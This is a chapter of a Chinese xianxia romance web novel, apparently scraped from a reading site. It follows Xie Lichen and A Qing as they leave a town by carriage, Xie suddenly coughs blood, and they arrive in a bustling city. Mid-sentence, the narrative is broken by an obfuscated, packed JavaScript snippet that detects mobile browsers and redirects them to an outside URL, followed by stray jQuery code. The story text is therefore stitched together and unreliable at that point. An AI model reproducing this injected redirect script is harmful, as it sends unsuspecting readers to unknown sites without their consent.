36.第 36 章

作品:《不肯去观音

    解里尘盯着阿清,像是要将他这个人看透,可阿清只是摇摇头:“我确实不知,你若不信便来查我。”顿了下,又说,“反正我也没什么好查的。”


    阿清束手就擒,解里尘也不客气,伸手往他额上一推,顷刻间仙力充斥这副躯壳,阿清双膝一软,差点跪倒在地上。


    浑身的力量像是被抽干了。


    眼前是解里尘的长靴,他仰头:“查出了什么?”


    解里尘捻了捻手指。


    除了能在腹中脏器感受到那些黑线外并无异常,而那些孩童体内的黑须,与阿清体内的黑线可是一样的?


    阿清能看见魂魄,或许也与这黑线有关?


    ——怎么可能呢?解里尘挥去这个念头,能从问灵中看出魂魄的,要么是修为到了一定境界,要么是……创造问灵术的那位通灵者。


    “……你这是什么眼神?”


    阿清扶着墙要站起来,腰间一道力撑起他,随即脑袋被抚了抚。


    “关爱凡人的眼神。”


    阿清语塞,试探着问:“莫非是我也有仙脉?”


    “那便是异想天开了,”解里尘站在一边泼了盆冷水,说,“走吧。”


    阿清也笑了声,又问:“走?去哪?”


    “事情都办完了,要查的也查了,自然是离开。”解里尘拿过一件外裘罩在阿清身上,“怎么了,觉得很突然?”


    阿清愣了一下,确实有些突然:“那外边那些仙宗的人……那位徐宗主……”


    一双狐狸眼瞟过来,阿清下意识坐直,听见解里尘慢悠悠问:“你很在意他?”


    阿清讪讪一笑,心想这不是替你在意么。


    这时,厢门被敲响,这几日能敲门的无非是送饭食或者送药盅的,此时时间还早,不是饭食,那必是药盅。


    阿清打开门,看小二将药盅放在桌上。


    他看着三盅药罐,叹了口气。


    他虽伤病多,可将药当水喝的日子确实是头一遭。


    “怎么,不想喝?”


    “……没有。就是……太多了。”解里尘看阿清坐下,摸药已经轻车熟路,他喝药向来是一口闷下去,前后不过半刻钟。


    “哎,”解里尘起了逗弄的心思,俯身过去,“这药什么味道?”


    阿清抬眸,扫他一眼:“能有什么味道,自然是苦的。”


    说罢正要将最后一碗药喝下去,手已经抬起来,做好了一口闷下去的准备,余光里却见解里尘倾身过来,一种不好的预感正上心头,还未等阿清反应过来,手腕就这么被抓住了。


    阿清:?


    苦药流入口中的速度减缓,苦涩在舌尖炸开,阿清手一抖,眉尖拧在一起,猛地呛了声。


    “解里尘!”


    他抹掉嘴角的药渣,解里尘一双眼睛里是得逞的坏笑,那人没心没肺:“一口闷下去多没意思,怕你吃不出味道,帮帮你呀。”


    阿清深吸一口气,拂开这人不安分的手,仍是一饮而尽。


    耳边那人又近了些:“这不对吧?”


    阿清放下碗,身体后倾,同解里尘离得远:“怎么不对?”


    解里尘托着下巴看他:“按人界话本子的说法,此时你应当小口小口将药抿下去,然后说一句,‘好苦’,我无奈起身,再小口小口喂你……”


    阿清端碗的手一抖,正对着解里尘无辜的双眼,胸口气没理顺,背对着他:“莫要告诉我你也想一试……”


    解里尘给他吹耳边风:“正想着呢。”


    阿清耳尖一颤,动了动,挪到了火笼的另一侧。


    解里尘觉得好有意思。


    这药最终还是被阿清一口闷了。解里尘把人抱起来,从窗户上跳下去。


    后院的尸首都被处理了,林臾七日前便放出消息,可这二十年间这些孩子们的亲人走的走死的死,最后来认领的也不过三四个。


    这剩下的三四个里有哭成泪人的,也有默不作声的。解里尘与阿清自长廊走过,一路上也没有引起注意。


    两人很快便站在了镇口的石牌坊前。


    阿清没有什么要带的东西,身上衣物全是随了解里尘,此时镇口三条岔路一如半月前的样子,路上无车马,颇有些荒凉之感。


    解里尘正等一马车夫遥遥走来。


    “坐马车?”


    解里尘上了车,帘子掀开:“不然?你还想我飞过去?”


    “……”


    马车是普通的样式,车夫对阿清眼熟,却不认得解里尘,犹豫了一下,只说能带到下个镇子。阿清也爬上去,车轮一重,便启程了。


    ——真的走了。


    阿清从窗子往外看,看汝饶镇渐行渐远,许久才钻回来,被解里尘拦腰抱过去。


    七日暴雨后天气愈发凉,寒风从帘缝里钻进来,让阿清缩了缩下巴。


    “你先前说的,我们是去艮簿宗?”


    解里尘“嗯”了声,再马车内下了隔音咒:“按着这马车的脚程路上也要走半余月,”他将六坟山中那黑衣人的事情敛简要的同阿清说了说,“追尘粉昨日便失效了,最后的位置在沁水以南,他倒是忙,这几日横跨了整个人界。”


    “这样快?”


    解里尘抓了阿清的手腕玩儿,那双手瘦骨嶙峋,却十分白净,让人忍不住想要掐出粉来。


    “寻常修士到不了这等水平,除非……”他拿指腹压住阿清的脉搏,对方不设防地看过来,“他会用空间类别的仙术或者……他也是上仙。”


    解里尘想起,在六坟山中徐微垣同他说的那句话。


    [我怀疑里面有上仙]


    ——精通阵法的第八位上仙?


    若真如此,他怎么会感知不到呢?


    解里尘兀自思索,阿清却新奇得很,恨不得半个身子探出窗外就这么看一路,他将人摁回来,阿清挣扎了一下,终于被抓回去的时候还捏了半片叶子。


    前方山路崎岖,马车颠簸了些,阿清倒是终于肯乖乖坐着。


    “先前就想问你,你不是上仙么,怎么也要坐马车?”阿清将手放在膝盖上,转过头问他,“我道你会日行千里。”


    “日行千里也要消耗仙力,我自然懒得。”解里尘将阿清手中叶子拿去,“呼”一口吹出去。


    他说得云淡风轻,可阿清觉得不对,皱着眉想了想:“……你的伤还未好?”


    “你倒还想着这茬,不过,伤好不好可不影响缩地疾行,”解里尘说,目光重新落在阿清身上,“这


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14397934|144938||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不还带着你么?”


    “如此说来我倒拖你后腿了。”阿清说,“解公子自己见色忘义,还要将锅扣在我头上,真是……”


    话音刚落,余光里解里尘忽然倾身,兀地吐了口鲜血。


    黑红的血液浸湿了他的指缝。


    “解里尘!”


    突如其来的咯血声中阿清瞳孔骤缩,不止因为解里尘吐的血,还有他转头看过去时对方变成骷髅的半边脸。


    马车内温度骤降。


    “你怎么了?你……”阿清伸手去扶,鲜血从解里尘指缝间滴下,在触到他之前又消失了。


    眨眼间,解里尘的半边脸恢复原状,他拿开手,看了眼手心那点血,轻轻将它们捻成粉末。


    一切如常,像是方才的意外从未来过。


    解里尘双眼底金沫闪动,几息间体内仙脉已周行一圈,末了狐狸眼又弯起来:“呦,担心我啊?”


    阿清失语,这人这会儿又没事人一样冲他笑,语调懒懒散散,往后一靠,浑身舒展开。他的手还悬在中间没收回去,被解里尘反手抓住,咬了口手腕。


    “嘶——你!”


    “我没事。”


    “……”问你了吗?


    阿清拧紧的眉头没有松开:“你真的没事?”


    解里尘看向窗外,指节抵在唇边,没有回答他这句问话。


    阿清见问不出什么,眼中担忧,又坐回去,不多时拿出一个纸包递到解里尘面前。


    “什么?”


    “从客栈带来的烙饼,”阿清说,“吃么?”


    烙饼已经冷了,解里尘掀起眼帘上下一扫,又将视线移开,递了个嫌弃的眼神。


    阿清默默将东西拿回去,自己咬了口。


    ——


    马车上的时间很慢,周围景象一成不变,除了高山便是深林。阿清兴致不错,一路上常常探头出去看,解里尘后半程没有再吐血,支着头看阿清看了半程。


    等到了下一个镇子,已经是三日后了。


    而到了沁水以南,又是过了十日。


    两人落脚的地方叫陵荣城,城墙十余米高,上面熠熠闪光的三个大字像是用金子镶上去的,看得气派。这地方不知比汝饶镇繁华多少,长街十里看不到头,来往商贩络绎不绝,人声的热浪扑过来,以至于两人下马车时差些被挤散。解里尘伸手揽过人,将阿清梏在身前。


    一路人声嘈杂,路边包子铺前汩汩冒着热气,走在街上甚至比前几天还要热些。阿清抬手遮了遮阳光——深秋暖阳,汝饶镇见不着,在这儿却是见到了。


    两人寻了间客栈,兑茶时选了个临街的榻子坐,楼下人来人往,吆喝声容易激起人的食欲。


    解里尘要了份酱牛肉,他看着悠闲,完全不像十多天前吐血过的样子。这牛腱子烤得嫩,对阿清来说是珍馐也不为过。他吃得慢,每一口都要嚼上许久,像是要将这味道牢牢记住。


    他矜贵地夹了片腱子放进嘴里。


    正这时,长街尽处一道声音传来:“锦家公子玩儿街——闲杂人等通通闪开!闲杂人等通通闪开!”


    街上人//流骤然混乱,人从小巷岔路中钻出去,顷刻间空空荡荡,只剩商贩子弓着腰,扫去自家门前的果壳碎屑。